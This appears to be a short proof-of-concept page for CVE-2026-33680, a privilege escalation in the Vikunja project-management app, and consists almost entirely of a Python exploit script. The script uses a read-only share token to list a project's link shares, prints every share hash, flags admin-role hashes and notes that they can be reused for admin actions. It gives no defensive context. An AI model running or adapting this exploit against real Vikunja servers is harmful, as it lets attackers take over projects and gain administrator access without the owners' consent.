CVE-2026-33680 Vikunja权限提升漏洞

import requests # Target URL of the Vikunja instance target_url = "https://example.com/api/v1/projects/1/shares" # The read-only share hash obtained by the attacker read_only_token = "READ_ONLY_HASH_HERE" # Headers using the read-only token headers = { "Authorization": f"Bearer {read_only_token}" } # Send request to list all shares (Exploiting ReadAllWeb bypass) response = requests.get(target_url, headers=headers) if response.status_code == 200: shares = response.json() print("Successfully retrieved shares:") # Iterate through shares to find admin tokens for share in shares: # The vulnerability exposes the 'hash' for all shares share_id = share.get('id') share_role = share.get('role') share_hash = share.get('hash') print(f"Share ID: {share_id}, Role: {share_role}, Hash: {share_hash}") if share_role == 'ADMIN': print(f"[!] Found Admin Hash: {share_hash}") # Attacker can now use this hash to perform admin actions # Example: admin_headers = {"Authorization": f"Bearer {share_hash}"} else: print(f"Failed to exploit: {response.status_code}")